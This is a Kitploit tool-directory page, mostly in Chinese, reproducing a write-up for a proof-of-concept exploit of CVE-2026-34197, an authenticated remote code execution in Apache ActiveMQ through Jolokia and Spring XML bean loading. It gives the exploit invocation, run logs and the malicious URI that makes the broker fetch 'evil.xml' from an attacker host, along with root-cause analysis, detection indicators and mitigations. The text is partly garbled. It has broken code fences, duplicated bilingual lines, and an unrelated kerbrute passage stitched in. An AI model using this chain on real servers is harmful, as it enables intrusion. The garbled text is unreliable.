Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-34197 — CVE-2026-34197 的概念验证漏洞利用,演示了通过 Jolokia JMX-HTTP 桥接和 Spring XML Bean 注入在 Apache ActiveMQ 中实现认证远程代码执行。 | Kitploit
工具/GitHubGitHub/lat-06/cve-2026-34197
动态分析 (沙盒)漏洞分析代码分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育实验室与实践
GitHublat-06/cve-2026-34197

CVE-2026-34197

CVE-2026-34197 的概念验证漏洞利用,演示了通过 Jolokia JMX-HTTP 桥接和 Spring XML Bean 注入在 Apache ActiveMQ 中实现认证远程代码执行。

查看仓库
33个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-34197

描述
Apache ActiveMQ Broker、Apache ActiveMQ 中存在不当输入验证、代码生成控制不当('代码注入')漏洞。Apache ActiveMQ Classic 在 Web 控制台的 /api/jolokia/ 路径下暴露了 Jolokia JMX-HTTP 桥接。默认的 Jolokia 访问策略允许对所有 ActiveMQ MBean(org.apache.activemq:*)执行 exec 操作,包括 BrokerService.addNetworkConnector(String) 和 BrokerService.addConnector(String)。经过身份验证的攻击者可以利用精心构造的 discovery URI 调用这些操作,该 URI 会触发 VM 传输的 brokerConfig 参数通过 ResourceXmlApplicationContext 加载远程 Spring XML 应用程序上下文。由于 Spring 的 ResourceXmlApplicationContext 在 BrokerService 验证配置之前实例化所有单例 bean,因此可以通过 bean 工厂方法(如 Runtime.exec())在代理的 JVM 上执行任意代码。该问题影响 Apache ActiveMQ Broker:5.19.4 之前版本,以及从 6.0.0 到 6.2.3 之前版本;Apache ActiveMQ All:5.19.4 之前版本,以及从 6.0.0 到 6.2.3 之前版本;Apache ActiveMQ:5.19.4 之前版本,以及从 6.0.0 到 6.2.3 之前版本。建议用户升级到修复该问题的 5.19.4 或 6.2.3 版本。

更多信息:链接

利用阶段

参考

Github:链接```bash ❯ docker compose up -d

root@kitploit:~
# LUNAR

基于描述,LUNAR 提供用于 websec 的字符串。```bash
❯ python3 exploit_poc.py auto \
    --target http://localhost:8161 \
    --lhost 192.168.1.32 --lport 9999 \
    --cmd "touch /tmp/blahblah.txt"

======================================================================
  CVE-2026-34197 — ActiveMQ RCE via Jolokia + VM Transport
  For authorized security testing and research only.
======================================================================

[*] Target: http://localhost:8161
[*] Command: touch /tmp/blahblah.txt
[*] Serving malicious Spring XML on http://0.0.0.0:9999/evil.xml
[+] Jolokia accessible — agent version: unknown
[*] Could not discover broker name, using default 'localhost'
[*] Sending exploit payload to http://localhost:8161/api/jolokia/
[*] Malicious URI: static:(vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml)
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Jolokia returned 200 — exploit payload delivered
[+] Response: {
  "request": {
    "mbean": "org.apache.activemq:brokerName=localhost,type=Broker",
    "arguments": [
      "static:(vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml)"
    ],
    "type": "exec",
    "operation": "addNetworkConnector(java.lang.String)"
  },
  "value": "NC",
  "timestamp": 1775616523,
  "status": 200
}
[*] Waiting 5s for target to fetch payload...
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Done. Verify command execution on target.

LHOST 是计算机上的私有 IP 地址。您可以在 Windows 上使用 ipconfig,或在 Linux 上使用 ifconfig

检查 RCE```bash ❯ docker exec -it activemq-vuln ls -lah /tmp
total 16K drwxrwxrwt 1 root root 4.0K May 18 04:01 . drwxr-xr-x 1 root root 4.0K May 18 03:40 .. -rw-r--r-- 1 root root 0 May 18 04:01 blahblah.txt drwxr-xr-x 1 root root 4.0K May 18 04:06 hsperfdata_root

root@kitploit:~
=> RCE 成功,在目标系统上创建了文件 `blahblah.txt`。

# 分析阶段
## 动态分析```bash
❯ docker exec activemq-vuln java -version 

openjdk version "11.0.24" 2024-07-16
OpenJDK Runtime Environment Temurin-11.0.24+8 (build 11.0.24+8)
OpenJDK 64-Bit Server VM Temurin-11.0.24+8 (build 11.0.24+8, mixed mode, sharing)
root@kitploit:~
❯ docker exec activemq-vuln sh -c 'ls /opt/apache-activemq/lib | grep activemq'
activemq-broker-5.18.6.jar
activemq-client-5.18.6.jar
activemq-console-5.18.6.jar
activemq-jaas-5.18.6.jar
activemq-kahadb-store-5.18.6.jar
activemq-openwire-legacy-5.18.6.jar
activemq-protobuf-1.1.jar
activemq-rar.txt
activemq-spring-5.18.6.jar
activemq-web-5.18.6.jar

运行时日志也确认了Jolokia已启用并通过ActiveMQ Web控制台暴露:```bash INFO | ActiveMQ WebConsole available at http://0.0.0.0:8161/ INFO | ActiveMQ Jolokia REST API available at http://0.0.0.0:8161/api/jolokia/

root@kitploit:~
验证连接```bash
❯ curl -i -u admin:admin \
  -H 'Origin: http://localhost:8161' \
  http://localhost:8161/api/jolokia/
HTTP/1.1 200 OK
Date: Mon, 18 May 2026 04:37:28 GMT
X-FRAME-OPTIONS: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Cache-Control: no-cache
Access-Control-Allow-Origin: http://localhost:8161
Access-Control-Allow-Credentials: true
Content-Type: text/plain;charset=utf-8
Pragma: no-cache
Expires: Mon, 18 May 2026 03:37:28 GMT
Transfer-Encoding: chunked

{"request":{"type":"version"},"value":{"agent":"1.7.1","protocol":"7.2","config":{"listenForHttpService":"true","authIgnoreCerts":"false","agentId":"172.21.0.2-42-aa61e4e-servlet","debug":"false","agentType":"servlet","policyLocation":"${prop:jolokia.conf}","agentContext":"\/jolokia","serializeException":"false","mimeType":"text\/plain","dispatcherClasses":"org.jolokia.http.Jsr160ProxyNotEnabledByDefaultAnymoreDispatcher","multicastGroup":"239.192.48.84","authMode":"basic","authMatch":"any","streaming":"true","canonicalNaming":"true","historyMaxEntries":"10","allowErrorDetails":"false","allowDnsReverseLookup":"true","realm":"jolokia","includeStackTrace":"true","multicastPort":"24884","useRestrictorService":"false","debugMaxEntries":"100"},"info":{"product":"activemq","vendor":"Apache","version":"5.18.6"}},"timestamp":1779079048,"status":200}

这意味着:

  • Jolokia 可访问
  • 使用默认凭据认证成功
  • 目标正在运行 ActiveMQ 5.18.6
  • Jolokia 代理接受了经过认证的请求

要读取日志```bash docker logs activemq-vuln > activemq-rce.log

root@kitploit:~
然后使用 grep 查找 clean chain```bash
❯ grep -E \
'addNetworkConnector|doCompositeConnect|createBroker|ResourceXmlApplicationContext|loadBeanDefinitions|ProcessBuilder|xbean|brokerConfig' \
activemq-rce.log
Loading message broker from: xbean:activemq.xml
 INFO | Establishing network connection from vm://localhost to vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml
	at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:342) ~[spring-beans-5.3.39.jar:5.3.39]
	at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:310) ~[spring-beans-5.3.39.jar:5.3.39]
	at org.apache.xbean.spring.context.ResourceXmlApplicationContext.loadBeanDefinitions(ResourceXmlApplicationContext.java:116) ~[xbean-spring-4.25.jar:4.25]
	at org.apache.xbean.spring.context.ResourceXmlApplicationContext.loadBeanDefinitions(ResourceXmlApplicationContext.java:104) ~[xbean-spring-4.25.jar:4.25]
	at org.apache.xbean.spring.context.ResourceXmlApplicationContext.<init>(ResourceXmlApplicationContext.java:64) ~[xbean-spring-4.25.jar:4.25]
	at org.apache.xbean.spring.context.ResourceXmlApplicationContext.<init>(ResourceXmlApplicationContext.java:52) ~[xbean-spring-4.25.jar:4.25]
	at org.apache.activemq.xbean.XBeanBrokerFactory$1.<init>(XBeanBrokerFactory.java:104) ~[activemq-spring-5.18.6.jar:5.18.6]
	at org.apache.activemq.xbean.XBeanBrokerFactory.createApplicationContext(XBeanBrokerFactory.java:104) ~[activemq-spring-5.18.6.jar:5.18.6]
	at org.apache.activemq.xbean.XBeanBrokerFactory.createBroker(XBeanBrokerFactory.java:67) ~[activemq-spring-5.18.6.jar:5.18.6]
	at org.apache.activemq.broker.BrokerFactory.createBroker(BrokerFactory.java:71) ~[activemq-broker-5.18.6.jar:5.18.6]
	at org.apache.activemq.broker.BrokerFactory.createBroker(BrokerFactory.java:54) ~[activemq-broker-5.18.6.jar:5.18.6]
	at org.apache.activemq.transport.vm.VMTransportFactory.doCompositeConnect(VMTransportFactory.java:125) ~[activemq-broker-5.18.6.jar:5.18.6]
	at org.apache.activemq.broker.jmx.BrokerView.addNetworkConnector(BrokerView.java:388) ~[activemq-broker-5.18.6.jar:5.18.6]
	at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:333) ~[spring-beans-5.3.39.jar:5.3.39]
 WARN | Could not connect to remote URI: vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml: IOException parsing XML document from URL [http://192.168.1.17:9999/evil.xml]; nested exception is java.net.ConnectException: Connection refused (Connection refused)

发送 payload 后```bash INFO | Establishing network connection from vm://localhost to vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml

root@kitploit:~
这一行至关重要,因为它确认了攻击者通过以下方式提供的URI控制:```java
BrokerView.addNetworkConnector(String)

未经过滤就到达了VM传输层。

用于利用的恶意URI是:```text static:(vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml)

root@kitploit:~
此URI包含两个重要部分:

| 组件              | 目的                                              |
| ----------------- | ------------------------------------------------- |
| `static:(...)`   | ActiveMQ发现连接器使用的包装器                      |
| `vm://evil?...`  | ActiveMQ内部处理的VM传输URI                         |

`static:(...)` 包装器本身并非易受攻击的组件。其目的是将封装的传输URI传递给ActiveMQ的网络连接器子系统。

在运行时执行期间,ActiveMQ提取并处理了内部的VM传输URI:```text
vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml

此行为已在运行时日志中得到确认:```text INFO | Establishing network connection from vm://localhost to vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml

root@kitploit:~
The `brokerConfig=` 参数是有效载荷的关键部分。它指示 VM 传输层使用从以下位置加载的外部 Spring xbean 配置动态创建一个 broker 实例:```text
http://192.168.1.32:9999/evil.xml

xbean: 前缀导致 ActiveMQ 将处理委托给 Spring 的 XML 应用程序上下文加载器:```text org.apache.xbean.spring.context.ResourceXmlApplicationContext

root@kitploit:~
因此,远程 XML 文档被解析并作为 Spring 应用程序上下文在代理 JVM 内实例化。

恶意 XML 包含以下 Spring bean:```xml
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">

这个 bean 定义指示 Spring 在应用上下文初始化期间实例化一个 ProcessBuilder 对象,并立即调用其 start() 方法。

该漏洞利用使用了以下命令:```bash touch /tmp/blahblah.txt

root@kitploit:~
由于Spring在上下文初始化期间会急切地实例化单例bean,`ProcessBuilder.start()` 方法在ActiveMQ验证代理配置本身是否安全或有效之前就执行了。

这导致在目标容器上执行任意命令。

通过检查ActiveMQ容器内的 `/tmp` 目录验证了该利用方法:```bash
❯ docker exec -it activemq-vuln ls -lah /tmp

total 16K
drwxrwxrwt 1 root root 4.0K May 18 04:01 .
drwxr-xr-x 1 root root 4.0K May 18 03:40 ..
-rw-r--r-- 1 root root    0 May 18 04:01 blahblah.txt
drwxr-xr-x 1 root root 4.0K May 18 04:06 hsperfdata_root

文件元数据进一步确认了命令成功执行:```bash ❯ docker exec activemq-vuln stat /tmp/blahblah.txt

File: /tmp/blahblah.txt Size: 0 Uid: (0/root) Gid: (0/root) Birth: 2026-05-18 04:01:35

root@kitploit:~
这证明在ActiveMQ容器上下文中成功执行了任意操作系统命令。

运行时堆栈跟踪还揭示了完整的易受攻击的执行路径:```text
BrokerView.addNetworkConnector()
  ->
VMTransportFactory.doCompositeConnect()
  ->
BrokerFactory.createBroker()
  ->
XBeanBrokerFactory.createApplicationContext()
  ->
ResourceXmlApplicationContext
  ->
XmlBeanDefinitionReader.loadBeanDefinitions()
  ->
Spring bean instantiation
  ->
ProcessBuilder.start()
  ->
OS command execution

在运行时分析中观察到以下堆栈跟踪条目:```text at org.apache.activemq.broker.jmx.BrokerView.addNetworkConnector(BrokerView.java:388)

at org.apache.activemq.transport.vm.VMTransportFactory.doCompositeConnect(VMTransportFactory.java:125)

at org.apache.activemq.broker.BrokerFactory.createBroker(BrokerFactory.java:71)

at org.apache.activemq.xbean.XBeanBrokerFactory.createBroker(XBeanBrokerFactory.java:67)

at org.apache.activemq.xbean.XBeanBrokerFactory.createApplicationContext(XBeanBrokerFactory.java:104)

at org.apache.xbean.spring.context.ResourceXmlApplicationContext.loadBeanDefinitions(ResourceXmlApplicationContext.java:116)

at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:342)

root@kitploit:~
动态分析期间最重要的观察之一是Spring和ActiveMQ处理恶意配置的顺序。

有效载荷成功执行后,ActiveMQ随后生成了以下警告:```text
WARN | Could not connect to remote URI:
The configuration has no BrokerService instance for resource:
xbean:http://192.168.1.32:9999/evil.xml

这种行为表明:```text Spring bean instantiation occurred before ActiveMQ validated the broker configuration.

root@kitploit:~
Even though the broker configuration itself was ultimately rejected, the malicious Spring bean had already been instantiated and executed.

即使 broker 配置最终被拒绝,恶意的 Spring bean 也已被实例化并执行。

This ordering issue is the core logic flaw behind CVE-2026-34197.

这个顺序问题是 CVE-2026-34197 背后的核心逻辑缺陷。

The dynamic analysis identified the following components participating in the exploit chain:

动态分析识别出参与漏洞利用链的以下组件:

| Component                     | Role                               |
| ----------------------------- | ---------------------------------- |
| Jolokia                       | HTTP 到 JMX 桥接                   |
| BrokerView                    | 暴露的管理 MBean                  |
| VMTransportFactory            | 解析 `vm://` 传输 URI             |
| BrokerFactory                 | 创建 broker 实例                   |
| XBeanBrokerFactory            | 加载 Spring xbean 配置            |
| ResourceXmlApplicationContext | 加载远程 XML                      |
| XmlBeanDefinitionReader       | 解析 Spring bean 定义             |
| Spring BeanFactory            | 实例化单例 bean                    |
| ProcessBuilder                | 执行操作系统命令                   |

The dynamic analysis confirms that CVE-2026-34197 is caused by the interaction between:

动态分析确认 CVE-2026-34197 是由以下交互引起的:

* Overly permissive Jolokia management operations
* 过于宽松的 Jolokia 管理操作
* Attacker-controlled transport URIs
* 攻击者控制的传输 URI
* VM transport broker auto-creation
* VM 传输 broker 自动创建
* Spring xbean remote configuration loading
* Spring xbean 远程配置加载
* Eager singleton bean instantiation before validation
* 验证前急切实例化单例 bean

As a result, an authenticated attacker can achieve arbitrary code execution on the ActiveMQ JVM by supplying a malicious `brokerConfig=xbean:http://...` URI through the Jolokia-exposed `addNetworkConnector()` operation.

因此,经过身份验证的攻击者可以通过 Jolokia 暴露的 `addNetworkConnector()` 操作提供恶意 `brokerConfig=xbean:http://...` URI,在 ActiveMQ JVM 上实现任意代码执行。

### Architecture Overview

### 架构概述

Apache ActiveMQ Classic exposes a management interface through the Jolokia JMX-HTTP bridge available at:

Apache ActiveMQ Classic 通过以下地址的 Jolokia JMX-HTTP 桥接公开管理接口:```text id="n0vmrq"
/api/jolokia/

Jolokia 作为一个 HTTP 到 JMX 的桥接,允许经过身份验证的用户通过 HTTP 远程调用 Java 管理扩展(JMX)操作。

分析过程中发现的易受攻击的架构路径如下所示:```text id="yavj0f" HTTP Request -> Jolokia Servlet -> JMX MBean Invocation -> BrokerView.addNetworkConnector() -> VMTransportFactory -> BrokerFactory -> XBeanBrokerFactory -> Spring ResourceXmlApplicationContext -> Spring Bean Instantiation -> OS Command Execution

root@kitploit:~
以下组件参与了利用链:

| 组件                  | 功能                                     |
| --------------------- | -------------------------------------------- |
| Jolokia               | 通过HTTP暴露JMX操作                         |
| BrokerView            | 管理MBean接口                               |
| VMTransportFactory    | 处理 `vm://` 传输URI                        |
| BrokerFactory         | 动态创建代理                                |
| XBeanBrokerFactory    | 加载Spring xbean配置                        |
| Spring Context Loader | 解析并实例化XML Bean定义                   |
| ProcessBuilder        | 执行操作系统命令                            |

该架构变得脆弱,因为ActiveMQ允许经过身份验证的用户使用攻击者控制的传输URI调用危险的代理管理方法。

---

### 攻击面分析

主要攻击面是通过ActiveMQ Web控制台暴露的Jolokia HTTP端点:```text id="xq7vba"
http://<target>:8161/api/jolokia/

运行时分析确认了Jolokia接口默认是启用的:```text id="y7qz5e" INFO | ActiveMQ Jolokia REST API available at http://0.0.0.0:8161/api/jolokia/

root@kitploit:~
Jolokia端点接受使用HTTP基本身份验证的认证请求:```json id="13tzmx"
"authMode":"basic"

暴露了以下危险的管理操作:```java id="pxqv10" BrokerView.addNetworkConnector(String)

root@kitploit:~
该方法接收一个用户控制的传输URI,而没有充分限制危险的URI方案或配置参数。

攻击者提供了以下有效载荷:```text id="v3u3f2"
static:(vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml)

该载荷同时滥用了多个功能:

因此攻击面包括:

  • Jolokia HTTP API暴露
  • 弱限制的JMX管理操作
  • 动态传输URI解析
  • 外部代理配置加载
  • Spring xbean集成

根因分析

该漏洞由ActiveMQ内部多个可信子系统之间的交互引起。

核心问题是,经过身份验证的Jolokia用户被允许使用攻击者控制的传输URI调用危险的代理管理操作。

运行时分析中识别的易受攻击的执行流程是:```text id="m57h1r" Jolokia -> BrokerView.addNetworkConnector() -> VMTransportFactory.doCompositeConnect() -> BrokerFactory.createBroker() -> XBeanBrokerFactory.createApplicationContext() -> ResourceXmlApplicationContext -> Spring bean instantiation

root@kitploit:~
关键参数是:```text id="s59jsn"
brokerConfig=xbean:http://attacker/evil.xml

此参数指示VM传输层使用外部Spring xbean配置动态创建代理。

以下运行时证据证实了这一行为:```text id="74y0rw" INFO | Establishing network connection from vm://localhost to vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml

root@kitploit:~
Spring 然后通过以下方式加载远程 XML:```text id="i54jqs"
org.apache.xbean.spring.context.ResourceXmlApplicationContext

恶意XML包含:```xml id="y6jphd"

root@kitploit:~
在 Spring 应用上下文初始化期间,单例 bean 会被立即实例化。因此,`ProcessBuilder.start()` 方法会立即执行。

关键逻辑缺陷在于,Spring bean 的实例化发生在 ActiveMQ 验证代理配置自身是否安全或有效之前。

这一行为通过以下方式被动态证实:

1. 恶意有效载荷成功创建了 `/tmp/blahblah.txt`
2. ActiveMQ 随后拒绝了该代理配置,报错为:```text id="6k1dwn"
The configuration has no BrokerService instance

这表明在代理验证完成之前,代码已经执行。


入侵指标(IOC)与检测

潜在的入侵指标包括针对 ActiveMQ 管理操作的可疑 Jolokia 请求。

可疑的 Jolokia 操作

查找调用的请求:```text id="c56p2k" addNetworkConnector addConnector

root@kitploit:~
通过:```text id="pt2n3d"
/api/jolokia/

可疑的URI模式

以下URI片段是攻击尝试的强烈指示器:```text id="n9jlwm" vm:// brokerConfig= xbean: static:(

root@kitploit:~
恶意载荷示例:```text id="wjsowq"
static:(vm://evil?brokerConfig=xbean:http://attacker/evil.xml)

出站 HTTP 连接

代理可能发起指向攻击者控制基础设施的出站请求:```text id="f5g9kx" http://attacker/evil.xml

root@kitploit:~
来自代理 JVM 的意外出站 HTTP 流量应进行调查。

#### 可疑的运行时日志

以下运行时消息可疑:```text id="1zj8yf"
Establishing network connection from vm://localhost to vm://evil

[No input text provided to translate.]```text id="3q2vls" ResourceXmlApplicationContext

root@kitploit:~
### 🚧 新功能与后续步骤
我们一直在忙于优化 `kerbrute`,并有一些即将推出的功能和生活质量改进想要添加,因此我们迁移到了使用 GitHub Projects 来跟踪它们。

如果您想了解 `v2.0` 版本的内容,请查看该项目 **[这里](https://github.com/ropnop/kerbrute/projects/1)**!

---

#### 致谢
感谢 [Harmj0y](https://blog.harmj0y.net)、[Impacket](https://github.com/SecureAuthCorp/impacket) 和 [PyKerberos](https://github.com/02strich/pykerberos) 项目。许多库代码都从他们的成果中学习而来。```text id="jzsk0g"
XmlBeanDefinitionReader.loadBeanDefinitions

文件系统痕迹

异常文件位于:```text id="6x7qcm" /tmp/

root@kitploit:~
或者来自ActiveMQ JVM的可疑子进程执行可能表明受到攻击。

---

### 影响分析

成功利用可在ActiveMQ JVM上下文中执行经过身份验证的远程代码。

在分析环境中,任意操作系统命令在容器内成功执行:```bash id="2hyz0w"
touch /tmp/blahblah.txt

结果:```text id="rm2qfd" /tmp/blahblah.txt

root@kitploit:~
该文件创建为:```text id="9phgkz"
Uid: (0/root)

这表明在容器内以 root 权限执行了命令。

潜在影响包括:

影响

在以下情况下,严重性会显著增加:

  • Jolokia 暴露于外部
  • 默认凭证仍启用
  • 容器以 root 运行
  • 代理主机具有不受限制的出站访问

缓解措施

升级至已修复版本

将 ActiveMQ Classic 升级至:```text id="8w0j6k" 5.19.4 or later 6.2.3 or later

root@kitploit:~
#### 限制 Jolokia 访问

如非必需,请禁用 Jolokia。

如果必须保持 Jolokia 启用:

* 限制访问仅限于可信管理网络
* 实施强身份验证
* 禁用危险的执行操作
* 应用严格的 Jolokia 访问策略

#### 删除默认凭据

请勿使用:```text id="9mw1xv"
admin:admin

限制出站网络访问

阻止代理发起任意出站 HTTP 连接。

这有助于缓解远程 XML 检索尝试。

禁用危险功能

限制或禁用:

  • 动态创建代理
  • 使用 vm:// 传输
  • 加载外部 xbean: 配置

强化运行时环境

  • 以非 root 用户运行容器
  • 应用文件系统限制
  • 使用网络分段
  • 监控 JVM 子进程执行

检测建议

监控以下内容:

  • 对 /api/jolokia/ 的请求
  • 使用 addNetworkConnector
  • brokerConfig= 参数
  • xbean: URI
  • 代理 JVM 发出的出站 HTTP 请求
  • Java 产生的意外子进程

静态分析

源代码概览

漏洞路径贯穿 ActiveMQ Web/JMX 管理层、代理网络层、VM 传输、代理工厂子系统以及 Spring XBean 配置加载。

Jolokia 在 ActiveMQ Web API 应用程序中启用:```xml

jolokia-agent org.jolokia.http.AgentServlet ... jolokia-agent /jolokia/* ``` 在代理启动时,ActiveMQ 将 `BrokerView` 注册为代理管理 MBean:```java // activemq-broker/src/main/java/org/apache/activemq/broker/BrokerService.java protected void startManagementContext() throws Exception { getManagementContext().setBrokerName(brokerName); getManagementContext().start(); adminView = new BrokerView(this, null); ObjectName objectName = getBrokerObjectName(); AnnotatedMBean.registerMBean(getManagementContext(), adminView, objectName); } ``` 对象名称创建为:```java // activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerMBeanSupport.java public static ObjectName createBrokerObjectName(String jmxDomainName, String brokerName) throws MalformedObjectNameException { String objectNameStr = jmxDomainName + ":type=Broker,brokerName="; objectNameStr += JMXSupport.encodeObjectNamePart(brokerName); return new ObjectName(objectNameStr); } ``` 在默认发行版中,这将broker MBean暴露为可通过HTTP调用的Jolokia目标,例如:```text org.apache.activemq:type=Broker,brokerName=localhost ``` 相关的组件职责如下:
  • BrokerView:面向 JMX 的代理管理外观。它暴露了 addNetworkConnector(String) 和 addConnector(String) 方法。
  • BrokerService:代理运行时对象。它将字符串形式的网络连接器地址转换为 URI 并创建 DiscoveryNetworkConnector。
  • DiscoveryNetworkConnector:使用发现代理获取远程代理服务的 URI,然后连接到每个发现的 URI。
  • TransportFactory:使用 META-INF/services/org/apache/activemq/transport/<scheme> 解析 URI 方案以获取传输工厂。
  • VMTransportFactory:处理 vm:// 传输,并在请求的 VM 代理不存在时自动创建嵌入式代理。
  • BrokerFactory:使用 META-INF/services/org/apache/activemq/broker/<scheme> 解析代理配置 URI 方案。

该漏洞存在的原因是管理方法接受一个非被动数据的 ActiveMQ URI 语言。当 URI 被求值时,它可以创建代理并加载 Spring XML 配置。


易受攻击的入口点

易受攻击的入口点是:```java // activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerView.java public String addNetworkConnector(String discoveryAddress) throws Exception { NetworkConnector connector = brokerService.addNetworkConnector(discoveryAddress); if (connector == null) { throw new NoSuchElementException("Not connector matched the given name: " + discoveryAddress); } brokerService.registerNetworkConnectorMBean(connector); connector.start(); return connector.getName(); }

root@kitploit:~
MBean 接口将该操作暴露为:```java
// activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerViewMBean.java
@MBeanInfo("Adds a Network Connector to the broker.")
String addNetworkConnector(@MBeanInfo("discoveryAddress") String discoveryAddress) throws Exception;

攻击者控制的输入是传递给 discoveryAddress 的 Jolokia exec 参数。在易受攻击的版本中,BrokerView.addNetworkConnector() 在将字符串传递给 BrokerService 之前,不执行任何 scheme 验证、嵌套 URI 验证,也不过滤传输特定参数。

BrokerService 将字符串直接转换为 URI:```java // activemq-broker/src/main/java/org/apache/activemq/broker/BrokerService.java public NetworkConnector addNetworkConnector(String discoveryAddress) throws Exception { return addNetworkConnector(new URI(discoveryAddress)); }

public NetworkConnector addNetworkConnector(URI discoveryAddress) throws Exception { NetworkConnector connector = new DiscoveryNetworkConnector(discoveryAddress); return addNetworkConnector(connector); }

root@kitploit:~
连接器对象随后使用本地代理URI进行配置,并添加到代理中:```java
// activemq-broker/src/main/java/org/apache/activemq/broker/BrokerService.java
public NetworkConnector addNetworkConnector(NetworkConnector connector) throws Exception {
    connector.setBrokerService(this);
    connector.setLocalUri(getVmConnectorURI());
    ...
    networkConnectors.add(connector);
    return connector;
}

当 BrokerView 启动连接器时,控制权到达传输子系统:```java connector.start();

root@kitploit:~
对于漏洞利用URI:```text
static:(vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml)

static:(...) 创建一个静态发现连接器,内部的 vm://... URI 成为被发现的目标服务。


VM 传输分析

VM 传输通过以下方式解析:```properties

activemq-broker/src/main/resources/META-INF/services/org/apache/activemq/transport/vm

class=org.apache.activemq.transport.vm.VMTransportFactory

root@kitploit:~
存在漏洞的方法为:```java
// activemq-broker/src/main/java/org/apache/activemq/transport/vm/VMTransportFactory.java
public Transport doCompositeConnect(URI location) throws Exception

该方法解析 vm:// URI,提取查询参数,并将 brokerConfig 视为代理创建 URI。```java host = extractHost(location); options = URISupport.parseParameters(location); String config = options.remove("brokerConfig"); if (config != null) { brokerURI = new URI(config); } else { Map<String, Object> brokerOptions = IntrospectionSupport.extractProperties(options, "broker."); brokerURI = new URI("broker://()/" + host + "?" + URISupport.createQueryString(brokerOptions)); }

root@kitploit:~
`create` 选项默认为 `true`:```java
boolean create = true;
...
if ("false".equals(options.remove("create"))) {
    create = false;
}

如果请求的 VM 主机没有代理存在,VMTransportFactory 会创建一个:```java broker = lookupBroker(BrokerRegistry.getInstance(), host, waitForStart); if (broker == null) { if (!create) { throw new IOException("Broker named '" + host + "' does not exist."); } try { if (brokerFactoryHandler != null) { broker = brokerFactoryHandler.createBroker(brokerURI); } else { broker = BrokerFactory.createBroker(brokerURI); } broker.start(); MDC.put("activemq.broker", broker.getBrokerName()); } catch (URISyntaxException e) { throw IOExceptionSupport.create(e); } BROKERS.put(host, broker); BrokerRegistry.getInstance().getRegistryMutext().notifyAll(); }

root@kitploit:~
这是传输层面的权限边界失效。通过管理层提供的 URI 被 VM 传输层评估为指令,用于从任意配置 URI 创建代理。

剩余的参数验证在代理创建之后进行:```java
if (!options.isEmpty()) {
    throw new IllegalArgumentException("Invalid connect parameters: " + options);
}
return transport;

该验证无法阻止通过brokerConfig执行的代码,因为brokerConfig在该检查运行之前已被从options中移除并消费。

上游发现路径为:```java // activemq-broker/src/main/java/org/apache/activemq/network/DiscoveryNetworkConnector.java remoteTransport = TransportFactory.connect(connectUri);

root@kitploit:~
对于 `static:(...)`,`SimpleDiscoveryAgent.start()` 会立即发出每个已配置的服务:```java
// activemq-client/src/main/java/org/apache/activemq/transport/discovery/simple/SimpleDiscoveryAgent.java
public void start() throws Exception {
    taskRunner = new TaskRunnerFactory();
    taskRunner.init();

    running.set(true);
    for (int i = 0; i < services.length; i++) {
        listener.onServiceAdd(new SimpleDiscoveryEvent(services[i]));
    }
}

DiscoveryNetworkConnector.onServiceAdd() 然后连接到由攻击者控制的内部 URI。


Broker 创建流程

Broker 创建由以下方式处理:```java // activemq-broker/src/main/java/org/apache/activemq/broker/BrokerFactory.java public static BrokerService createBroker(URI brokerURI) throws Exception { return createBroker(brokerURI, false); }

public static BrokerService createBroker(URI brokerURI, boolean startBroker) throws Exception { if (brokerURI.getScheme() == null) { throw new IllegalArgumentException("Invalid broker URI, no scheme specified: " + brokerURI); } BrokerFactoryHandler handler = createBrokerFactoryHandler(brokerURI.getScheme()); BrokerService broker = handler.createBroker(brokerURI); if (startBroker) { broker.start(); } return broker; }

root@kitploit:~
处理程序查找是基于方案的:```java
private static final FactoryFinder BROKER_FACTORY_HANDLER_FINDER =
    new FactoryFinder("META-INF/services/org/apache/activemq/broker/");

public static BrokerFactoryHandler createBrokerFactoryHandler(String type) throws IOException {
    try {
        return (BrokerFactoryHandler)BROKER_FACTORY_HANDLER_FINDER.newInstance(type);
    } catch (Throwable e) {
        throw IOExceptionSupport.create("Could not load " + type + " factory:" + e, e);
    }
}

对于 xbean: URI,服务描述符映射到 XBeanBrokerFactory:```properties

activemq-broker/src/main/resources/META-INF/services/org/apache/activemq/broker/xbean

class=org.apache.activemq.xbean.XBeanBrokerFactory

root@kitploit:~
精确静态调用流程:```text
BrokerView.addNetworkConnector(String)
  -> BrokerService.addNetworkConnector(String)
  -> BrokerService.addNetworkConnector(URI)
  -> DiscoveryNetworkConnector.<init>(URI)
  -> DiscoveryNetworkConnector.handleStart()
  -> SimpleDiscoveryAgent.start()
